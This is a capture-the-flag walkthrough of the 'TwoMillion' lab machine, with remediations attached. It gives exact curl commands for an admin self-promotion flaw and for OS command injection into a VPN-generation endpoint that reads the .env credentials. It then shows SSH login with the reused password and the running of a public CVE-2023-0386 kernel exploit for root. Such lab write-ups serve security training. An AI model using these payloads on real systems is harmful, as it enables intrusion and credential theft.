TwoMillion
Summary
I called an open, unauthenticated API endpoint to generate a valid invite code, registered a new account, then exploited a missing server-side authorization check to promote that account to administrator. The admin-only VPN-generation endpoint concatenated user input directly into a shell command without sanitization, enabling OS command injection. I used that injection to read the application's .env configuration file, which stored the database password in plaintext.
That same password was reused as the SSH login credential for the local 'admin' system account, granting an interactive shell. From that foothold, I deployed a public exploit for CVE-2023-0386, a Linux kernel OverlayFS SUID privilege-escalation bug, to gain a root shell and capture both flags.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for admin>"
export PASSWORD3="<the-password-you-recovered>"
export TOKEN="<the-token-you-captured>"Attack path — how the box was taken
Exact commands 3
Identify open services; reveals nginx on 80 and SSH on 22.
$ nmap -sV -sC -p 22,80 --min-rate 5000 $TARGETObserve Location header redirecting to 2million.htb.
$ curl -sI http://$TARGETMap virtual hostname for all subsequent requests.
$ echo "$TARGET 2million.htb" >> /etc/hostsExact commands 2
No credentials required; server returns a base64-encoded invite code.
$ curl -sS -H 'Host: 2million.htb' -X POST "http://$TARGET/api/v1/invite/generate"Decodes to plaintext invite code: $TOKEN.
$ echo "$PASSWORD" | base64 -dFixRequire authentication to generate invite codesHigh
Exact commands 4
Register using the invite code; -c saves session cookie to /tmp/cj.
$ curl -sS -c /tmp/cj -H 'Host: 2million.htb' -X POST "http://$TARGET/api/v1/user/register" -H 'Content-Type: application/json' -d '{"username":"'"$USERNAME"'","email":"'"$USERNAME"'@htb.local","password":"'"$PASSWORD3"'","code":"'"$TOKEN"'"}'Authenticate and capture the session JWT cookie.
$ curl -sS -c /tmp/cj -b /tmp/cj -H 'Host: 2million.htb' -X POST "http://$TARGET/api/v1/user/login" -H 'Content-Type: application/json' -d '{"email":"'"$USERNAME"'@htb.local","password":"'"$PASSWORD3"'"}'Self-promote to admin — no server-side privilege check enforced.
$ curl -sS -b /tmp/cj -H 'Host: 2million.htb' -X PUT "http://$TARGET/api/v1/admin/settings/update" -H 'Content-Type: application/json' -d '{"email":"'"$USERNAME"'@htb.local","is_admin":1}'Verify admin status; server returns {"message":true}.
$ curl -sS -b /tmp/cj -H 'Host: 2million.htb' "http://$TARGET/api/v1/admin/auth"FixEnforce server-side authorization on all administrative API endpointsCritical
Exact commands 2
Proof-of-concept: confirm RCE — id output appears in the HTTP response body.
$ curl -sS -b /tmp/cj -H 'Host: 2million.htb' -X POST "http://$TARGET/api/v1/admin/vpn/generate" -H 'Content-Type: application/json' -d '{"username":"'"$USERNAME"'; id #"}'Read the application .env file; response body contains plaintext database credentials.
$ curl -sS -b /tmp/cj -H 'Host: 2million.htb' -X POST "http://$TARGET/api/v1/admin/vpn/generate" -H 'Content-Type: application/json' -d '{"username":"'"$USERNAME"'; cat /var/www/html/.env #"}'FixEliminate OS command injection in the VPN-generation endpointCritical
Exact commands 1
Response includes DB_HOST, DB_DATABASE, DB_USERNAME=admin, DB_PASSWORD=$PASSWORD2.
$ curl -sS -b /tmp/cj -H 'Host: 2million.htb' -X POST "http://$TARGET/api/v1/admin/vpn/generate" -H 'Content-Type: application/json' -d '{"username":"'"$USERNAME"'; grep -E \"DB_|ADMIN\" /var/www/html/.env #"}'FixRemove plaintext secrets from web-accessible files and eliminate credential reuseHigh
Exact commands 1
Login as admin with the reused DB password; outputs uid, hostname, and user flag (<user.txt>).
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 admin@$TARGET 'id; hostname; cat /home/admin/user.txt'Exact commands 3
Clone and compile the exploit on my machine (x86_64 Linux target).
$ git clone https://github.com/sxlmnwb/CVE-2023-0386 /tmp/CVE-2023-0386 && cd /tmp/CVE-2023-0386 && makeTransfer compiled exploit directory to the target host.
$ sshpass -p "$PASSWORD2" scp -r /tmp/CVE-2023-0386 admin@$TARGET:/tmp/FUSE daemon runs in background; ./exp triggers the SUID copy; rootbash -p gives uid=0 -> <root.txt>
$ sshpass -p "$PASSWORD2" ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null admin@$TARGET 'cd /tmp/CVE-2023-0386; rm -f /tmp/rootbash /tmp/fuse.log; ./fuse ./ovlcap/lower ./gc > /tmp/fuse.log 2>&1 & FPID=$!; sleep 2; ./exp 2>&1; /tmp/rootbash -p -c "id; cat /root/root.txt"; kill $FPID'FixApply kernel security patches to remediate CVE-2023-0386 (OverlayFS SUID escalation)Critical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.